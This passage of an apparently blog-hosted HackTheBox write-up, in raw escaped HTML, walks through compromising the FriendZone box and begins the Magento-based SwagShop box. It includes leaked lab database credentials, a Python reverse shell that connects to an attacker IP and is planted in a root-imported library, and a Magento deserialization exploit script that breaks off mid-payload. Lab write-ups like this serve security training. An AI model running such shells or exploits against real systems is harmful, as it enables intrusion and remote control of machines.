friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This command returns records for the entire DNS zone, including A, AAAA, CNAME, and MX records, plus subdomain information.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.12-1-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; (1 server found)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; global options: +cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN AAAA ::1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN NS localhost.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;files.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;imports.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vpn.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; Query time: 660 msec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; WHEN: Mon Sep 30 08:07:05 EDT 2024&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; XFR size: 9 records (messages 1, bytes 309)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;admin.friendzoneportal.red allowed a login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to look at the title, friendzone.red revealed something else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;administrator1.friendzone.red accepted the login, and there was some content inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking into it later, this was actually a local php file, which is why it could be called. This was an obvious lfi.&lt;/p&gt;&#10;&lt;p&gt;Start testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since adding a name made it accessible, the application was probably appending .php. I could not access /etc/passwd or anything else, so use a php wrapper to view the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did indeed append .php.&lt;/p&gt;&#10;&lt;p&gt;I also read the other files, but they contained nothing useful. All that was missing now was a way to write a file, although if I could write a php file, this point would seemingly be unnecessary.&lt;/p&gt;&#10;&lt;p&gt;I checked uploads.friendzone.red. It always reported a successful upload, but nothing appeared.&lt;/p&gt;&#10;&lt;p&gt;I read the code directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder.&lt;/p&gt;&#10;&lt;p&gt;Having reached this point, there should not have been any real problem. All I lacked was permission to write a file. I suddenly remembered that ftp could write files, and more importantly, samba had a writable directory.&lt;/p&gt;&#10;&lt;p&gt;I had no credentials for ftp, so that was not an option, but samba would work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload succeeded. Based on the image below, I guessed that it was probably under /etc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1" target="_blank" rel="noopener"&#10; &gt;https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold.&lt;/p&gt;&#10;&lt;p&gt;Gather more information:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for development process this is the mysql creds for user friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_user=friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_pass=Agpyu12!0.213$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_name=FZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the start of this step I had not yet uploaded and run a script, but I found friend&amp;rsquo;s mysql password.&lt;/p&gt;&#10;&lt;p&gt;I also found a user named friend under home.&lt;/p&gt;&#10;&lt;p&gt;su did not work directly. Create a tty, and then su can switch to friend.&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l was unavailable. Just connect directly with ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, I misread it. It meant that friend was banned from using sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I thought conventional privilege escalation would finish this. Just upload a script and run a scan.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw---- 1 friend mail 1 Jan 15 2019 friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There really was nothing useful. Let&amp;rsquo;s check the processes. Several privilege-escalation routes I had found so far involved scheduled tasks that I could not see, but they would be visible in the process list.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything was commented out, but it mentioned an SMTP service for sending email.&lt;/p&gt;&#10;&lt;p&gt;I also saw user set to you and pass set to PAPAP.&lt;/p&gt;&#10;&lt;p&gt;After finishing collection, I continued searching and found something very interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This basically confirmed it. Importing os.py would trigger the main function inside os. I had encountered this many times while coding before; just add something to it. Under the hood, os.py calls posixmodule.c, and that file has no system function. Just find a python reverse-shell script. Putting it in the main function will naturally cause it to be called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything I found imported os, so I just needed one that did not use os.&lt;/p&gt;&#10;&lt;p&gt;Finding a script took a long time, but I eventually found one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.13&amp;#34;, 6666))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The reverse shell connected successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. I learned a lot about the thought process here as well. Just keep practicing.&lt;/p&gt;&#10;&lt;h2 id="10swagshop"&gt;&lt;a href="#10swagshop" class="header-anchor"&gt;&lt;/a&gt;10.SwagShop&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was clearly a cms framework. Search for it immediately, identify the target version, and check for default credentials at the same time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These exp could not find the endpoint, so they could not be used.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing revealed an interesting location.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every uploaded session was recorded. I started by brute-forcing to see whether any historical session could be used to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was another approach. If I left the site alone and the target&amp;rsquo;s backend had a scheduled task, it would naturally log in automatically. I could keep refreshing without a cookie and then check which cookie was the newest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely nothing. I waited around 10 minutes to see whether a scheduled task would upload a session.&lt;/p&gt;&#10;&lt;p&gt;There was still no scheduled task activity.&lt;/p&gt;&#10;&lt;p&gt;However, the session files could be opened. I could brute-force the session files directly and inspect their contents, filtering them one by one as long as the ip was not mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were actually many more, but I will not list them all.&lt;/p&gt;&#10;&lt;p&gt;They contained many cookies and endpoints, but even after using those cookies and changing the ua, I still could not access anything.&lt;/p&gt;&#10;&lt;p&gt;I wondered whether the cookie had expired, but found that the session could record things that had previously been accessed. At the same time, I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Try logging in once with anything and see how it records the credentials.&lt;/p&gt;&#10;&lt;p&gt;I could not log in at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching for the hash, I found a report whose path closely resembled the searchsploit script I had found.&lt;/p&gt;&#10;&lt;p&gt;This article was written in 2015, when the vulnerability was still considered a 0day.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html" target="_blank" rel="noopener"&#10; &gt;https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It felt like everything was hinting that I should use an exp, but I did not actually know the exact version of this cms.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the poc. I had forgotten this approach: if no version information can be found, perhaps the wordlist is simply not strong enough, and you can try an nday directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. The script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Delete the uncommented part and add the domain yourself. Another important point is that index.php must be appended for the include to work; otherwise the path cannot be resolved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got into the admin backend.&lt;/p&gt;&#10;&lt;p&gt;I actually had another code-execution script here, 37811, which I found during the earlier search. It could not log in without a username and password. Now I could modify the code and see whether it could get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was where the script&amp;rsquo;s problem lay. Its request could never obtain the key. The intended approach was to append the key to the discovered url path and enter the backend directly. Delete all the earlier login code and pass it the key and url instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was extremely difficult to sort out. I had no choice but to audit the code, and eventually finished it.&lt;/p&gt;&#10;&lt;p&gt;The two values needed for a successful login were on this home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Right on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second value was also on the home page. Just switch over and capture the traffic.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Update the date.&lt;/p&gt;&#10;&lt;p&gt;Constructing the payload with the wrong type caused the script to hang; it had to be a bytes-like object rather than a str. I modified the original code and constructed it with Python 2.&lt;/p&gt;&#10;&lt;p&gt;Actually, just remove this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code failed entirely because the login here did not succeed, which caused everything afterward to fail. Delete it, fix everything, and running it directly produces the result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I spent a great deal of time debugging this script. I had never used mechanize before, and if I reused it directly with python3, its regular expression had to be rewritten. If I simply inserted the required parameters myself, it also reported an error. It was ridiculous.&lt;/p&gt;&#10;&lt;p&gt;In particular, the final request and encryption had to be done with python2 because python2 and 3 generate base64 differently.&lt;/p&gt;&#10;&lt;p&gt;After reviewing everything and finally getting it to execute successfully, the easiest method was simply to find the tunnel parameter yourself. That was very easy.&lt;/p&gt;&#10;&lt;p&gt;For the payload, add the parameters yourself and let it generate the payload locally. Then just concatenate the url and visit it yourself.&lt;/p&gt;&#10;&lt;p&gt;Adding parameters to the script below directly produces the exp.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from hashlib import md5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import mechanize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arg = &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php_function = &amp;#39;system&amp;#39; # Note: we can only pass 1 argument to the function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install_date = &amp;#39;Wed, 08 May 2019 07:23:09 +0000&amp;#39; # This needs to be the exact date from /app/etc/local.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# POP chain to pivot into call_user_exec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = &amp;#39;O:8:\&amp;#34;Zend_Log\&amp;#34;:1:{s:11:\&amp;#34;\00*\00_writers\&amp;#34;;a:2:{i:0;O:20:\&amp;#34;Zend_Log_Writer_Mail\&amp;#34;:4:{s:16:&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;\&amp;#34;\00*\00_eventsToMail\&amp;#34;;a:3:{i:0;s:11:\&amp;#34;EXTERMINATE\&amp;#34;;i:1;s:12:\&amp;#34;EXTERMINATE!\&amp;#34;;i:2;s:15:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 